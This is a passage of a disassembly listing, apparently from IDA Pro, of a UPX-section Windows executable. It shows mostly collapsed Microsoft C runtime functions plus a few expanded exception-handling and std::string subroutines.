"+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND] ; [0000032B BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND] ; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND] ; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND] ; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND] ; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND] ; [00000053 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND] ; [00000098 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND] ; [000002B3 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD "+" TO EXPAND] ; [00000217 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO EXPAND] ; [00000088 BYTES: COLLAPSED FUNCTION __umatherr. PRESS KEYPAD "+" TO EXPAND] ; [00000026 BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD "+" TO EXPAND] ; [00000025 BYTES: COLLAPSED FUNCTION __get_fname. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND] ; [0000005A BYTES: COLLAPSED FUNCTION __sptype. PRESS KEYPAD "+" TO EXPAND] ; [000000C1 BYTES: COLLAPSED FUNCTION __decomp. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION __statfp. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __ctrlfp. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND] ; [0000003E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND] ; [0000005A BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND] ; [0000004E BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD "+" TO EXPAND] ; [00000018 BYTES: COLLAPSED FUNCTION __positive. PRESS KEYPAD "+" TO EXPAND] ; [0000003E BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND] ; [00000104 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND] ; [000000DE BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+" TO EXPAND] ; [0000009B BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION __cftoe_g. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __cftof_g. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND] ; [00000025 BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND] ; [0000009B BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS KEYPAD "+" TO EXPAND] ; [000001A7 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; [000000A8 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; [0000005D BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType const *,_s_ThrowInfo const *). PRESS KEYPAD "+" TO EXPAND] ; [0000009E BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND] ; [00000016 BYTES: COLLAPSED FUNCTION unknown_libname_10. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION CatchIt(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,_s_HandlerType const *,_s_CatchableType const *,_s_TryBlockMapEntry const *,int,EHRegistrationNode *,uchar). PRESS KEYPAD "+" TO EXPAND] ; [0000009C BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C741 proc near ; DATA XREF: UPX0:00423848o push dword ptr [ebp-14h] ; struct _EXCEPTION_POINTERS * call ?ExFilterRethrow@@YAHPAU_EXCEPTION_POINTERS@@@Z ; ExFilterRethrow(_EXCEPTION_POINTERS *) pop ecx retn sub_41C741 endp ; =============== S U B R O U T I N E ======================================= sub_41C74B proc near ; DATA XREF: UPX0:0042384Co mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call __local_unwind2 pop ecx pop ecx xor eax, eax jmp short loc_41C732 sub_41C74B endp ; --------------------------------------------------------------------------- loc_41C763: ; DATA XREF: UPX0:00423840o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; [00000046 BYTES: COLLAPSED FUNCTION sub_41C76B. PRESS KEYPAD "+" TO EXPAND] ; [0000002A BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND] ; [000001B8 BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41CA7C ; [00000056 BYTES: COLLAPSED FUNCTION unknown_libname_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41CA7C ; [00000023 BYTES: COLLAPSED FUNCTION AdjustPointer(void *,PMD const &). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_12. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION sub_41CA7C. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CAD2 proc near ; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *)+23p ; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_418106p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_423888 push offset unknown_libname_14 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, ds:off_4388D4 test eax, eax jz short loc_41CB1A mov [ebp+var_4], 1 call eax ; sub_41CA7C jmp short loc_41CB16 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] loc_41CB16: ; CODE XREF: sub_41CAD2+3Bj and [ebp+var_4], 0 loc_41CB1A: ; CODE XREF: sub_41CAD2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41CB23: ; DATA XREF: UPX0:00423890o jmp sub_41CA7C sub_41CAD2 endp ; [00000029 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+" TO EXPAND] ; [000000C2 BYTES: COLLAPSED FUNCTION ___loctotime_t. PRESS KEYPAD "+" TO EXPAND] ; [000000CC BYTES: COLLAPSED FUNCTION _toupper. PRESS KEYPAD "+" TO EXPAND] ; [00000A25 BYTES: COLLAPSED FUNCTION __input. PRESS KEYPAD "+" TO EXPAND] ; [00000037 BYTES: COLLAPSED FUNCTION __hextodec. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION _fgetc. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION __un_inc. PRESS KEYPAD "+" TO EXPAND] ; [00000024 BYTES: COLLAPSED FUNCTION __whiteout. PRESS KEYPAD "+" TO EXPAND] ; [000000D9 BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND] ; [000001F6 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND] ; [0000009A BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+" TO EXPAND] ; [00000158 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND] ; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION _strncnt. PRESS KEYPAD "+" TO EXPAND] ; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] ; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND] ; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND] ; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND] ; [0000008A BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS KEYPAD "+" TO EXPAND] ; [000001AD BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+" TO EXPAND] ; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND] ; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND] ; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND] ; [00000099 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND] ; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND] ; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND] ; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND] align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_14. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- unknown_libname_15: ; Microsoft VisualC 2-8/net runtime push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call __local_unwind2 add esp, 8 pop ebp retn 4 ; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND] ; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND] ; [00000044 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND] ; [00000026 BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND] ; [000000A5 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+" TO EXPAND] ; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND] ; [00000095 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [00000077 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [0000003D BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND] ; [00000057 BYTES: COLLAPSED FUNCTION __commit. PRESS KEYPAD "+" TO EXPAND] ; [000002B9 BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41F6F3 proc near ; CODE XREF: __umatherr+52p xor eax, eax retn sub_41F6F3 endp ; [00000035 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND] ; [00000016 BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD "+" TO EXPAND] ; [00000092 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND] ; [00000089 BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND] ; [00000049 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION __IncMan. PRESS KEYPAD "+" TO EXPAND] ; [0000008C BYTES: COLLAPSED FUNCTION __RoundMan. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND] ; [0000000C BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD "+" TO EXPAND] ; [0000008D BYTES: COLLAPSED FUNCTION __ShrMan. PRESS KEYPAD "+" TO EXPAND] ; [0000016C BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41FBC2 proc near ; CODE XREF: sub_41FBEE+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_438EF0 push [esp+4+arg_4] push [esp+8+arg_0] call __ld12cvt add esp, 0Ch retn sub_41FBC2 endp ; =============== S U B R O U T I N E ======================================= sub_41FBD8 proc near ; CODE XREF: sub_41FC1B+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_438F08 push [esp+4+arg_4] push [esp+8+arg_0] call __ld12cvt add esp, 0Ch retn sub_41FBD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FBEE proc near ; CODE XREF: __fassign+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call ___strgtold12 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41FBC2 add esp, 24h leave retn sub_41FBEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FC1B proc near ; CODE XREF: __fassign+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call ___strgtold12 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41FBD8 add esp, 24h leave retn sub_41FC1B endp ; [00000077 BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND] ; [00000064 BYTES: COLLAPSED FUNCTION __fltout. PRESS KEYPAD "+" TO EXPAND] ; [000000B6 BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 2 call __amsg_exit pop ecx retn ; [00000046 BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41FE28 proc near ; DATA XREF: UPX0:00425024o push offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) call ds:dword_423020 ; SetUnhandledExceptionFilter mov ds:dword_4871C8, eax retn sub_41FE28 endp ; =============== S U B R O U T I N E ======================================= sub_41FE39 proc near ; DATA XREF: UPX0:0042503Co push ds:dword_4871C8 call ds:dword_423020 ; SetUnhandledExceptionFilter retn sub_41FE39 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+6Bp ; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call ds:dword_42301C ; IsBadReadPtr test eax, eax jz short loc_41FE5E xor esi, esi loc_41FE5E: ; CODE XREF: sub_41FE46+14j mov eax, esi pop esi retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE62 proc near ; CODE XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+73p ; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call ds:dword_4231B4 ; IsBadWritePtr test eax, eax jz short loc_41FE7A xor esi, esi loc_41FE7A: ; CODE XREF: sub_41FE62+14j mov eax, esi pop esi retn sub_41FE62 endp ; [00000018 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000017 BYTES: COLLAPSED CHUNK OF FUNCTION sub_41CA7C. PRESS KEYPAD "+" TO EXPAND] ; [00000015 BYTES: COLLAPSED FUNCTION ___tzset. PRESS KEYPAD "+" TO EXPAND] ; [0000025E BYTES: COLLAPSED FUNCTION __tzset. PRESS KEYPAD "+" TO EXPAND] ; [000001AC BYTES: COLLAPSED FUNCTION __isindst. PRESS KEYPAD "+" TO EXPAND] ; [00000140 BYTES: COLLAPSED FUNCTION _cvtdate. PRESS KEYPAD "+" TO EXPAND] ; [000000C8 BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION _isspace. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001F BYTES: COLLAPSED FUNCTION __allshl. PRESS KEYPAD "+" TO EXPAND] ; [0000006E BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND] ; [00000031 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND] ; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND] ; [0000007D BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND] ; [00000146 BYTES: COLLAPSED FUNCTION __chsize. PRESS KEYPAD "+" TO EXPAND] ; [00000021 BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+" TO EXPAND] ; [0000005E BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND] ; [0000002E BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND] ; [000000C7 BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND] ; [000004A1 BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND] off_420EB5 dd offset loc_420A7E ; DATA XREF: ___strgtold12+63r dd offset loc_420ACD ; jump table for switch statement dd offset loc_420B24 dd offset loc_420B4E dd offset loc_420BA9 dd offset loc_420C20 dd offset loc_420C56 dd offset loc_420CA0 dd offset loc_420C7F dd offset loc_420D04 dd offset loc_420CEE dd offset loc_420CBA ; [00000293 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND] ; [0000012D BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND] ; [00000045 BYTES: COLLAPSED FUNCTION _siglookup. PRESS KEYPAD "+" TO EXPAND] ; [0000007D BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+" TO EXPAND] ; [00000076 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND] ; [00000220 BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS KEYPAD "+" TO EXPAND] ; [0000007C BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+" TO EXPAND] ; [0000003F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO EXPAND] ; [0000006E BYTES: COLLAPSED FUNCTION ___wtomb_environ. PRESS KEYPAD "+" TO EXPAND] ; [0000027D BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO EXPAND] ; [00000187 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION _findenv. PRESS KEYPAD "+" TO EXPAND] ; [00000067 BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND] ; [00000073 BYTES: COLLAPSED FUNCTION __mbschr. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION __strdup. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_421C90(char *Src,int) sub_421C90 proc near ; CODE XREF: sub_421D73+19p ; sub_421E9A+19p Src = dword ptr 4 push esi push [esp+4+Src] ; Str mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call _strlen pop ecx push eax ; Size push [esp+8+Src] ; Src mov ecx, esi call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint) mov eax, esi pop esi retn 8 sub_421C90 endp ; =============== S U B R O U T I N E ======================================= sub_421CBA proc near ; CODE XREF: UPX0:00421CE5p ; sub_421D68+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_423C6C call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool) mov ecx, esi pop esi jmp sub_4220B6 sub_421CBA endp ; [0000000D BYTES: COLLAPSED FUNCTION sub_421CD5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_421CE2: ; DATA XREF: UPX0:off_423C6Co push esi mov esi, ecx call sub_421CBA test byte ptr [esp+8], 1 jz short loc_421CF8 push esi call ??3@YAXPAX@Z ; operator delete(void *) pop ecx loc_421CF8: ; CODE XREF: UPX0:00421CEFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CFE proc near ; CODE XREF: sub_421D73+29p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 mov eax, offset loc_422632 call __EH_prolog push ecx push ecx push esi lea eax, [ebp+var_10] mov esi, ecx push eax mov [ebp+var_14], esi mov [ebp+var_10], offset dword_423C88 call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &) push [ebp+arg_0] and [ebp+var_4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_423C6C call sub_421DB0 mov ecx, [ebp+var_C] mov dword ptr [esi], offset off_423C7C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_421CFE endp ; =============== S U B R O U T I N E ======================================= ; int __thiscall sub_421D4C(void *Memory,char) sub_421D4C proc near ; DATA XREF: UPX0:off_423C7Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_421D68 test [esp+4+arg_0], 1 jz short loc_421D62 push esi ; Memory call ??3@YAXPAX@Z ; operator delete(void *) pop ecx loc_421D62: ; CODE XREF: sub_421D4C+Dj mov eax, esi pop esi retn 4 sub_421D4C endp ; =============== S U B R O U T I N E ======================================= sub_421D68 proc near ; CODE XREF: sub_421D4C+3p ; DATA XREF: UPX0:00423FF4o mov dword ptr [ecx], offset off_423C7C jmp sub_421CBA sub_421D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D73 proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+13p ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint)+Ep var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_D = dword ptr -0Dh var_4 = dword ptr -4 mov eax, offset loc_422644 call __EH_prolog sub esp, 30h lea eax, [ebp+var_D] push eax ; int push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp+var_20] call sub_421C90 and [ebp+var_4], 0 lea eax, [ebp+var_20] push eax lea ecx, [ebp+var_3C] call sub_421CFE push offset dword_423FF0 lea eax, [ebp+var_3C] push eax call __CxxThrowException@8 ; _CxxThrowException(x,x) int 3 ; Trap to Debugger sub_421D73 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421DB0 proc near ; CODE XREF: sub_421CFE+32p ; sub_421DD0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint) mov eax, esi pop esi retn 4 sub_421DB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DD0 proc near ; CODE XREF: sub_421E9A+29p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 mov eax, offset loc_422656 call __EH_prolog push ecx push ecx push esi lea eax, [ebp+var_10] mov esi, ecx push eax mov [ebp+var_14], esi mov [ebp+var_10], offset dword_423C88 call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &) push [ebp+arg_0] and [ebp+var_4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_423C6C call sub_421DB0 mov ecx, [ebp+var_C] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_421DD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E18 proc near ; CODE XREF: sub_421E82+7p ; sub_421EDE+7p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 mov eax, offset loc_422668 call __EH_prolog push ecx push esi push edi mov edi, [ebp+arg_0] mov esi, ecx push edi mov [ebp+var_10], esi call ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &) and [ebp+var_4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_423C6C call sub_421DB0 mov ecx, [ebp+var_C] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_421E18 endp ; =============== S U B R O U T I N E ======================================= ; int __thiscall sub_421E5B(void *Memory,char) sub_421E5B proc near ; DATA XREF: UPX0:off_423CA8o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_421E77 test [esp+4+arg_0], 1 jz short loc_421E71 push esi ; Memory call ??3@YAXPAX@Z ; operator delete(void *) pop ecx 